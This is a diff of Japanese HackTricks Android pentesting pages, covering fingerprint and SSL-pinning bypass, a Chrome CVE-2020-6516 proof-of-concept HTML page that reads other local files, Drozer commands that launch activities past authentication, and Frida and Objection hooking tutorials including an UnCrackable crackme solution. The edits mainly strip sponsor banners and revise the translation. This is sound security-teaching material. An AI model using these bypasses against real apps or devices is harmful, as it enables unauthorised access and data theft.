2. **SSL ピンニングをバイパスする**: これにより、攻撃者はクライアントとサーバー間のトラフィックを傍受および変更でき、認証プロセスを変更したり、機密データを盗んだりする可能性があります。
Frida の例コマンド:
```bash
@ -52,7 +46,7 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
```
## **方法 4 – リバースエンジニアリングとコード修正**
リバースエンジニアリングツールとして `APKTool`、`dex2jar`、`JD-GUI` を使用して、Androidアプリケーションを逆コンパイルし、そのソースコードを読み、認証メカニズムを理解することができます。一般的な手順は以下の通りです：
リバースエンジニアリングツールとして `APKTool`、`dex2jar`、および `JD-GUI` を使用して、Androidアプリケーションを逆コンパイルし、そのソースコードを読み、認証メカニズムを理解することができます。一般的な手順は次のとおりです：
1. **APKの逆コンパイル**: APKファイルをより人間が読みやすい形式（Javaコードなど）に変換します。
2. **コードの分析**: 指紋認証の実装を探し、潜在的な弱点（フォールバックメカニズムや不適切な検証チェックなど）を特定します。
@ -60,19 +54,14 @@ frida -U -l script-to-bypass-authentication.js --no-pause -f com.generic.in
## **方法 5 – カスタム認証ツールの使用**
認証メカニズムをテストし、バイパスするために設計された専門的なツールやスクリプトがあります。例えば：
認証メカニズムをテストおよびバイパスするために設計された専門的なツールやスクリプトがあります。例えば：
1. **MAGISKモジュール**: MAGISKはAndroid用のツールで、ユーザーがデバイスをルート化し、指紋を含むハードウェアレベルの情報を修正または偽装するモジュールを追加できます。
2. **カスタムビルドスクリプト**: スクリプトはAndroidデバッグブリッジ（ADB）と対話するか、アプリケーションのバックエンドと直接対話して指紋認証をシミュレートまたはバイパスするために書かれることがあります。
1. **MAGISKモジュール**: MAGISKは、ユーザーがデバイスをルート化し、指紋を含むハードウェアレベルの情報を修正または偽装できるモジュールを追加するためのAndroid用ツールです。
2. **カスタムビルドスクリプト**: スクリプトは、Androidデバッグブリッジ（ADB）と対話するか、アプリケーションのバックエンドと直接対話して指紋認証をシミュレートまたはバイパスするために作成できます。
## 参考文献
- [https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/](https://securitycafe.ro/2022/09/05/mobile-pentesting-101-bypassing-biometric-authentication/)
<figure><img src="/images/image (2).png" alt=""><figcaption></figcaption></figure>
**モバイルセキュリティ**の専門知識を深めるために8kSecアカデミーをご利用ください。自己ペースのコースを通じてiOSとAndroidのセキュリティをマスターし、認定を取得しましょう：
{% embed url="https://academy.8ksec.io/" %}
{{#include ../../banners/hacktricks-training.md}}

18
src/mobile-pentesting/android-app-pentesting/content-protocol.md
View File

@ -1,9 +1,5 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
**これは投稿の要約です [https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/](https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/)**
### メディアストア内のファイルのリスト
@ -16,11 +12,11 @@ $ content query --uri content://media/external/file
```bash
$ content query --uri content://media/external/file --projection _id,_data
```
コンテンツプロバイダーは、それぞれのプライベート名前空間に隔離されています。プロバイダーへのアクセスには特定の `content://` URI が必要です。プロバイダーにアクセスするためのパスに関する情報は、アプリケーションマニフェストやAndroidフレームワークのソースコードから取得できます。
コンテンツプロバイダーは、それぞれのプライベートネームスペースに隔離されています。プロバイダーへのアクセスには、特定の `content://` URI が必要です。プロバイダーにアクセスするためのパスに関する情報は、アプリケーションマニフェストやAndroidフレームワークのソースコードから取得できます。
### Chromeのコンテンツプロバイダーへのアクセス
AndroidのChromeは `content://` スキームを通じてコンテンツプロバイダーにアクセスでき、サードパーティアプリケーションによってエクスポートされた写真やドキュメントなどのリソースにアクセスできます。これを示すために、ファイルをメディアストアに挿入し、その後Chromeを介してアクセスできます：
AndroidのChromeは、`content://` スキームを通じてコンテンツプロバイダーにアクセスでき、サードパーティアプリケーションによってエクスポートされた写真やドキュメントなどのリソースにアクセスできます。これを示すために、ファイルをメディアストアに挿入し、その後Chromeを介してアクセスできます：
メディアストアにカスタムエントリを挿入する：
```bash
@ -44,11 +40,11 @@ content query --uri content://media/external/file --projection _id,_data | grep
```
### Chrome CVE-2020-6516: Same-Origin-Policy Bypass
_同一オリジンポリシー_ (SOP) は、ブラウザにおけるセキュリティプロトコルであり、明示的にクロスオリジンリソースシェアリング (CORS) ポリシーによって許可されない限り、ウェブページが異なるオリジンのリソースと相互作用することを制限します。このポリシーは、情報漏洩やクロスサイトリクエストフォージェリを防ぐことを目的としています。Chromeは `content://` をローカルスキームと見なし、各ローカルスキームURLを別々のオリジンとして扱うため、より厳格なSOPルールが適用されます。
_Same Origin Policy_ (SOP) は、異なるオリジンからのリソースとの相互作用を制限するブラウザのセキュリティプロトコルであり、Cross-Origin-Resource-Sharing (CORS) ポリシーによって明示的に許可されない限り、ウェブページが他のオリジンと相互作用することを制限します。このポリシーは、情報漏洩やクロスサイトリクエストフォージェリを防ぐことを目的としています。Chromeは `content://` をローカルスキームと見なし、各ローカルスキームURLを別のオリジンとして扱うため、より厳格なSOPルールが適用されます。
しかし、CVE-2020-6516は、`content://` URLを介して読み込まれたリソースに対するSOPルールのバイパスを可能にするChromeの脆弱性でした。実際、`content://` URLからのJavaScriptコードは、他の`content://` URLを介して読み込まれたリソースにアクセスでき、特にAndroid 10以前のバージョンでスコープストレージが実装されていないデバイスにおいては、重大なセキュリティ上の懸念がありました。
しかし、CVE-2020-6516は、`content://` URLを介して読み込まれたリソースのSOPルールをバイパスすることを可能にするChromeの脆弱性でした。実際、`content://` URLからのJavaScriptコードは、他の`content://` URLを介して読み込まれたリソースにアクセスでき、特にAndroid 10以前のバージョンでスコープストレージが実装されていないデバイスにおいては、重大なセキュリティ上の懸念がありました。
以下の概念実証は、この脆弱性を示しており、**/sdcard** にアップロードされ、メディアストアに追加されたHTMLドキュメントが、JavaScript内で `XMLHttpRequest` を使用してメディアストア内の別のファイルの内容にアクセスし、表示することでSOPルールをバイパスしています。
以下の概念実証は、この脆弱性を示しており、HTMLドキュメントが**/sdcard**の下にアップロードされ、Media Storeに追加された後、JavaScript内で`XMLHttpRequest`を使用してMedia Store内の別のファイルの内容にアクセスし表示し、SOPルールをバイパスします。
Proof-of-Concept HTML:
```xml
@ -79,8 +75,4 @@ xhr.send();
<body onload="poc()"></body>
</html>
```
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{{#include ../../banners/hacktricks-training.md}}

40
src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md
View File

@ -1,23 +1,19 @@
# Drozer Tutorial
# Drozer チュートリアル
{{#include ../../../banners/hacktricks-training.md}}
<img src="../../../images/i3.png" alt="" data-size="original">
**バグバウンティのヒント**: **ハッカーによって、ハッカーのために作られたプレミアム** **バグバウンティプラットフォーム** **Intigritiにサインアップ**しましょう！今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう！
{% embed url="https://go.intigriti.com/hacktricks" %}
## テストする APK
## テストするAPKs
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabsから)
- [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (mrwlabs から)
- [DIVA](https://payatu.com/wp-content/uploads/2016/01/diva-beta.tar.gz)
**このチュートリアルの一部は、** [**Drozerドキュメントpdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**から抜粋されました。**
**このチュートリアルの一部は** [**Drozer ドキュメント pdf**](https://labs.withsecure.com/content/dam/labs/docs/mwri-drozer-user-guide-2015-03-23.pdf)**から抜粋されました。**
## インストール
ホスト内にDrozer Clientをインストールします。[最新のリリース](https://github.com/mwrlabs/drozer/releases)からダウンロードしてください。
ホスト内に Drozer クライアントをインストールします。[最新のリリース](https://github.com/mwrlabs/drozer/releases)からダウンロードしてください。
```bash
pip install drozer-2.4.4-py2-none-any.whl
pip install twisted
@ -33,11 +29,11 @@ adb install drozer.apk
```bash
adb forward tcp:31415 tcp:31415
```
最後に、**アプリケーション**を**起動**し、下の "**ON**" を押します。
最後に、**アプリケーション**を**起動**し、下の「**ON**」を押します。
![](<../../../images/image (459).png>)
そして接続します：
そして、それに接続します：
```bash
drozer console connect
```
@ -49,9 +45,9 @@ drozer console connect
| **list** | 現在のセッションで実行可能なすべてのdrozerモジュールのリストを表示します。適切な権限がないモジュールは非表示になります。 |
| **shell** | エージェントのコンテキストでデバイス上にインタラクティブなLinuxシェルを開始します。 |
| **clean** | Androidデバイス上にdrozerが保存した一時ファイルを削除します。 |
| **load** | drozerコマンドを含むファイルを読み込み、順番に実行します。 |
| **module** | インターネットから追加のdrozerモジュールを見つけてインストールします。 |
| **unset** | drozerが生成する任意のLinuxシェルに渡す名前付き変数を削除します。 |
| **load** | drozerコマンドを含むファイルを読み込み、順番に実行します。 |
| **module** | インターネットから追加のdrozerモジュールを見つけてインストールします。 |
| **unset** | drozerが生成する任意のLinuxシェルに渡す名前付き変数を削除します。 |
| **set** | drozerによって生成される任意のLinuxシェルに環境変数として渡される変数に値を格納します。 |
| **shell** | エージェントのコンテキストでデバイス上にインタラクティブなLinuxシェルを開始します。 |
| **run MODULE** | drozerモジュールを実行します |
@ -121,7 +117,7 @@ com.mwr.example.sieve.PWList
```
**アクティビティを開始**:
おそらく、アクティビティを開始し、起動を妨げるべき認証をバイパスすることができます。
おそらく、アクティビティを開始し、起動を防ぐべきいくつかの認証をバイパスできるかもしれません。
```bash
dz> run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
```
@ -134,15 +130,15 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity
```
### コンテンツプロバイダー
この投稿はここに収まるには大きすぎるので、**こちらで独自のページにアクセスできます**[**ここ**](exploiting-content-providers.md)。
この投稿はここに収まりきらないので、**こちらの独自のページでアクセスできます**[**こちら**](exploiting-content-providers.md)。
### サービス
エクスポートされたサービスはManifest.xml内で宣言されます:
エクスポートされたサービスは、Manifest.xml内で宣言されます:
```markup
<service android:name=".AuthService" android:exported="true" android:process=":remote"/>
```
コード内で**check**し、**`handleMessage`**関数を探してください。この関数は**message**を**受信**します：
コード内で**check**を行い、**`handleMessage`**関数を探してください。この関数は**message**を**受信**します：
![](<../../../images/image (82).png>)
@ -167,7 +163,7 @@ app.service.stop Stop Service
![](<../../../images/image (1079).png>)
最初に"_msg.what_"のデータを送信し、その後に"_msg.arg1_"と"_msg.arg2_"を送信します。**どの情報が使用されているか**とその場所をコード内で確認する必要があります。\
最初に"_msg.what_"の中のデータを送信し、その後に"_msg.arg1_"と"_msg.arg2_"を送信します。**どの情報が使用されているか**とその場所をコード内で確認する必要があります。\
`--extra`オプションを使用すると、"_msg.replyTo_"によって解釈されるものを送信でき、`--bundle-as-obj`を使用すると、提供された詳細を持つオブジェクトを作成します。
次の例では：
@ -185,7 +181,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m
**Androidの基本情報セクションでは、ブロードキャストレシーバーとは何かを見ることができます**。
このブロードキャストレシーバーを発見した後は、**コードを確認**する必要があります。特に**`onReceive`**関数に注意を払ってください。これは受信したメッセージを処理します。
このブロードキャストレシーバーを発見した後は、**コードを確認**する必要があります。特に**`onReceive`**関数に注意を払い、受信したメッセージを処理します。
#### **すべての** ブロードキャストレシーバーを検出する
```bash
@ -254,10 +250,6 @@ run app.package.debuggable
- [https://blog.dixitaditya.com/android-pentesting-cheatsheet/](https://blog.dixitaditya.com/android-pentesting-cheatsheet/)
<img src="../../../images/i3.png" alt="" data-size="original">
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です！今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう！
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

26
src/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md
View File

@ -1,22 +1,17 @@
# Frida Tutorial
# Frida チュートリアル
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です！今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう！
{% embed url="https://go.intigriti.com/hacktricks" %}
## インストール
**frida tools**をインストールします:
**frida tools** をインストールします:
```bash
pip install frida-tools
pip install frida
```
**Androidに** **frida server** を **ダウンロードしてインストール** します ([Download the latest release](https://github.com/frida/frida/releases)).\
adbをルートモードで再起動し、それに接続し、frida-serverをアップロードし、実行権限を与えてバックグラウンドで実行するためのワンライナー:
adbをルートモードで再起動し、接続し、frida-serverをアップロードし、実行権限を与えてバックグラウンドで実行するためのワンライナー:
```bash
adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local/tmp/; adb shell "chmod 755 /data/local/tmp/frida-server"; adb shell "/data/local/tmp/frida-server &"
```
@ -33,21 +28,21 @@ frida-ps -U | grep -i <part_of_the_package_name> #Get all the package name
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**ソースコード**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
**[リンクをたどって読む](frida-tutorial-1.md)。**
**[リンクをクリックして読む](frida-tutorial-1.md)。**
### [チュートリアル 2](frida-tutorial-2.md)
**出典**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (パート 2, 3 & 4)\
**APKとソースコード**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**[リンクをたどって読む。](frida-tutorial-2.md)**
**[リンクをクリックして読む。](frida-tutorial-2.md)**
### [チュートリアル 3](owaspuncrackable-1.md)
**出典**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
**[リンクをたどって読む](owaspuncrackable-1.md)。**
**[リンクをクリックして読む](owaspuncrackable-1.md)。**
**ここでさらに素晴らしいFridaスクリプトを見つけることができます:** [**https://codeshare.frida.re/**](https://codeshare.frida.re)
@ -147,7 +142,7 @@ send("Decrypted flag: " + flag)
return ret //[B
}
```
### 関数をフックし、入力で呼び出す
### フック関数と入力で呼び出す
文字列を受け取る関数をフックし、別の文字列で呼び出します（[こちら](https://11x256.github.io/Frida-hooking-android-part-2/)から）。
```javascript
@ -180,12 +175,7 @@ onComplete: function () {},
## その他のFridaチュートリアル
- [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs)
- [高度なFrida使用法ブログシリーズの第1部：IOS暗号化ライブラリ](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
- [Advanced Frida Usageブログシリーズのパート1: IOS暗号化ライブラリ](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**：**Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です！今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、**$100,000**までのバウンティを獲得し始めましょう！
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

18
src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md
View File

@ -2,19 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です！今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう！
{% embed url="https://go.intigriti.com/hacktricks" %}
**この記事の要約**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\
**APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\
**ソースコード**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo)
## Python
Fridaを使用すると、実行中のアプリケーションの関数内に**JavaScriptコード**を**挿入**できます。しかし、**python**を使用してフックを**呼び出し**、さらには**フック**と**対話**することもできます。
Fridaを使用すると、実行中のアプリケーションの関数内に**JavaScriptコード**を**挿入**できます。しかし、**python**を使用して**フック**を**呼び出す**ことや、**フック**と**対話する**こともできます。
これは、このチュートリアルで提案されたすべての例で使用できる簡単なpythonスクリプトです:
```python
@ -55,7 +49,7 @@ return true
```
python hooking.py hook1.js
```
見る: 関数はパラメータとしてStringを受け取りますが、オーバーロードは必要ですか？
見る: 関数は String をパラメータとして受け取りますが、オーバーロードは必要ですか？
## Hook 2 - 関数ブルートフォース
@ -122,12 +116,6 @@ return encrypted_ret
このチュートリアルでは、メソッドの名前と _.implementation_ を使用してメソッドをフックしました。しかし、**同じ名前のメソッドが複数ある場合**、**引数の型を指定して**フックしたいメソッドを**特定する必要があります**。
それについては[次のチュートリアル](frida-tutorial-2.md)で確認できます。
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムなバグバウンティプラットフォーム**です！今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう！
{% embed url="https://go.intigriti.com/hacktricks" %}
次のチュートリアルでそれを見ることができます [the next tutorial](frida-tutorial-2.md)。
{{#include ../../../banners/hacktricks-training.md}}

29
src/mobile-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md
View File

@ -2,23 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**この記事の要約**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (パート 2, 3 & 4)\
**APKとソースコード**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
**バグバウンティのヒント**: **ハッカーによって、ハッカーのために作られたプレミアム** **バグバウンティプラットフォーム** **Intigriti**に**サインアップ**しましょう！今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう！
{% embed url="https://go.intigriti.com/hacktricks" %}
**この記事の要約**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (パート2, 3 & 4)\
**APKsとソースコード**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples)
パート1はとても簡単です。
パート 1はとても簡単です。
**元のコードの一部は動作せず、ここで修正されています。**
## Part 2
## パート 2
ここでは、**同じ名前の2つの関数を異なるパラメータでフックする**方法の例を見ることができます。\
また、**自分のパラメータで関数を呼び出す**方法を学びます。\
また、**独自のパラメータで関数を呼び出す**方法を学びます。\
最後に、**クラスのインスタンスを見つけて関数を呼び出す**方法の例があります。
```javascript
//s2.js
@ -54,7 +48,7 @@ onComplete: function () { }
});
});
```
最初に、Stringを作成するために、_java.lang.String_クラスを参照し、その後、Stringを内容として持つ_$new_オブジェクトを作成したことがわかります。これはクラスの新しいオブジェクトを作成する正しい方法です。しかし、この場合、`this.fun()`に任意のStringを渡すことができます。例えば：`this.fun("hey there!")`
最初に _java.lang.String_ クラスを参照し、その後に文字列を内容として持つ _$new_ オブジェクトを作成していることがわかります。これがクラスの新しいオブジェクトを作成する正しい方法です。しかし、この場合、`this.fun()` に任意の文字列を渡すことができます。例えば: `this.fun("hey there!")`
### Python
```python
@ -81,7 +75,7 @@ python loader.py
### Python
これから、Pythonを使用してフックされたアプリにコマンドを送信し、関数を呼び出す方法を見ていきます:
今から、フックされたアプリにコマンドを送信して関数を呼び出す方法を見ていきます:
```python
//loader.py
import time
@ -112,7 +106,7 @@ script.exports.callsecretfunction()
elif command == "3":
script.exports.hooksecretfunction()
```
コマンド "**1**" は **終了** し、コマンド "**2**" はクラスの **インスタンスを見つけてプライベート関数** _**secret()**_ を呼び出し、コマンド "**3**" は関数 _**secret()**_ を **フック** して **異なる文字列** を **返します**。
コマンド "**1**" は **終了** し、コマンド "**2**" はクラスの **インスタンスを見つけてプライベート関数** _**secret()**_ を呼び出し、コマンド "**3**" は **関数** _**secret()**_ を **フック** して **異なる文字列** を **返します**。
そのため、もし "**2**" を呼び出すと **本当の秘密** が得られますが、もし "**3**" を呼び出してから "**2**" を呼び出すと **偽の秘密** が得られます。
@ -208,12 +202,7 @@ return this.setText(string_to_recv)
}
})
```
5の部分がありますが、新しい情報はないので説明しません。しかし、読みたい場合はここにあります: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
パート5については、新しい情報がないため説明しませんが、読みたい場合はここにあります: [https://11x256.github.io/Frida-hooking-android-part-5/](https://11x256.github.io/Frida-hooking-android-part-5/)
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です！今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう！
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

28
src/mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md
View File

@ -2,23 +2,19 @@
{{#include ../../../banners/hacktricks-training.md}}
<img src="../../../images/i3.png" alt="" data-size="original">
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です！今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加し、最大**$100,000**のバウンティを獲得し始めましょう！
{% embed url="https://go.intigriti.com/hacktricks" %}
## **はじめに**
**objection - ランタイムモバイルエクスプロレーション**
**objection - ランタイムモバイル探索**
[**Objection**](https://github.com/sensepost/objection)は、[Frida](https://www.frida.re)によって提供されるランタイムモバイルエクスプロレーションツールキットです。これは、脱獄またはルート化されたモバイルデバイスを必要とせずに、モバイルアプリケーションとそのセキュリティ姿勢を評価するのを助けることを目的に構築されました。
[**Objection**](https://github.com/sensepost/objection) は、[Frida](https://www.frida.re) によって提供されるランタイムモバイル探索ツールキットです。これは、脱獄やルート化されたモバイルデバイスを必要とせずに、モバイルアプリケーションとそのセキュリティ姿勢を評価するのを助けることを目的に構築されました。
**注意:** これは脱獄/ルートバイパスの一形態ではありません。`objection`を使用することで、直面している適用可能なサンドボックスによって課せられたすべての制限に依然として制約されます。
### 概要
**objection**の**目標**は、ユーザーが**Fridaが提供する主要なアクションを呼び出す**ことを可能にすることです。**そうでなければ**、ユーザーはテストしたい**各アプリケーションごとに単一のスクリプトを作成する必要があります**。
**objection**の**目標**は、ユーザーが**Fridaが提供する主要なアクションを呼び出す**ことを可能にすることです。**そうでなければ、**ユーザーはテストしたい**各アプリケーションごとに単一のスクリプトを作成する必要があります。
## チュートリアル
@ -90,7 +86,7 @@ android ui FLAG_SECURE false #This may enable you to take screenshots using the
実際のアプリケーションでは、**静的分析**のおかげで、この部分で発見されたすべての情報を使用する前に知っておくべきです。それでも、この方法では、クラス、メソッド、およびエクスポートされたオブジェクトの完全なリストしか得られないため、**新しい何か**を見ることができるかもしれません。
これは、アプリの**読みやすいソースコードを取得できない**場合にも役立ちます。
これは、アプリの**可読なソースコードを取得できない**場合にも役立ちます。
#### アクティビティ、レシーバー、およびサービスのリスト
```bash
@ -153,7 +149,7 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d
#### クラス全体をフック（監視）する
実際、クラス MainActivity のすべてのメソッドが非常に興味深いと思いますので、**すべてフックしましょう**。注意してください、これによりアプリケーションが**クラッシュ**する可能性があります。
実際、クラス MainActivity のすべてのメソッドが非常に興味深いと思いますので、**すべてフック**しましょう。注意してください、これによりアプリケーションが**クラッシュ**する可能性があります。
```bash
android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --dump-return
```
@ -163,7 +159,7 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --
#### 関数のブール戻り値を変更する
ソースコードから、関数 _checkPin_ が引数として _String_ を受け取り、_boolean_ を返すことがわかります。関数を**常にtrueを返す**ようにしましょう：
ソースコードから、関数_checkPin_が引数として_String_を受け取り、_boolean_を返すことがわかります。関数を**常にtrueを返す**ようにしましょう：
![](<../../../images/image (883).png>)
@ -173,7 +169,7 @@ android hooking watch class asvid.github.io.fridaapp.MainActivity --dump-args --
### クラスインスタンス
特定のJavaクラスの**ライブインスタンス**を検索して印刷します。これは完全修飾クラス名で指定されます。これは、発見されたobjectionの文字列値を取得しようとした結果であり、通常は**オブジェクトのプロパティ値を含む**ものです。
特定のJavaクラスの**ライブインスタンス**を検索して印刷します。これは完全修飾クラス名で指定されます。発見されたobjectionの文字列値を取得しようとした結果は、通常、**オブジェクトのプロパティ値を含む**ものです。
```
android heap print_instances <class>
```
@ -223,16 +219,12 @@ SQLiteデータベースと対話するには、コマンド`sqlite`を使用で
```bash
exit
```
## Objectionでの不足点
## Objectionでの欠点
- フッキングメソッドは時々アプリケーションをクラッシュさせます（これはFridaのせいでもあります）。
- クラスのインスタンスを使用してインスタンスの関数を呼び出すことができません。また、新しいクラスのインスタンスを作成してそれを使用して関数を呼び出すこともできません。
- アプリケーションで使用されている一般的な暗号メソッドをフックして、暗号化されたテキスト、平文、キー、IV、および使用されているアルゴリズムを見るためのショートカット（sslpinninのようなもの）がありません。
- インスタンスのクラスを使用してインスタンスの関数を呼び出すことができません。また、新しいインスタンスを作成して関数を呼び出すこともできません。
- アプリケーションで使用されている一般的な暗号メソッドをフックして、暗号化されたテキスト、平文、キー、IV、および使用されているアルゴリズムを見るためのショートカット（sslpinninのようなもの）がありません。
<img src="../../../images/i3.png" alt="" data-size="original">
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です！今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう！
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

17
src/mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md
View File

@ -2,22 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です！今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう！
{% embed url="https://go.intigriti.com/hacktricks" %}
---
**この記事の要約**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\
**APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level_01/UnCrackable-Level1.apk)
## Solution 1
## 解決策 1
[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)に基づいています。
[https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)に基づく
**\_exit()**関数を**フック**し、**decrypt function**を使用して、verifyを押したときにフリダコンソールにフラグを表示させます:
**\_exit()**\_関数をフックし、**decrypt function**を使用して、verifyを押したときにフリダコンソールにフラグを表示させます:
```javascript
Java.perform(function () {
send("Starting hooks OWASP uncrackable1...")
@ -120,10 +115,4 @@ return false
send("Hooks installed.")
})
```
<figure><img src="../../../images/i3.png" alt=""><figcaption></figcaption></figure>
**バグバウンティのヒント**: **Intigriti**に**サインアップ**してください。これは**ハッカーによって、ハッカーのために作られたプレミアムバグバウンティプラットフォーム**です！今日、[**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)に参加して、最大**$100,000**のバウンティを獲得し始めましょう！
{% embed url="https://go.intigriti.com/hacktricks" %}
{{#include ../../../banners/hacktricks-training.md}}

28
src/mobile-pentesting/android-app-pentesting/install-burp-certificate.md
View File

@ -2,17 +2,14 @@
{{#include ../../banners/hacktricks-training.md}}
<figure><img src="https://pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
## 仮想マシンで
まず最初に、BurpからDer証明書をダウンロードする必要があります。これは _**Proxy**_ --> _**Options**_ --> _**Import / Export CA certificate**_ で行えます。
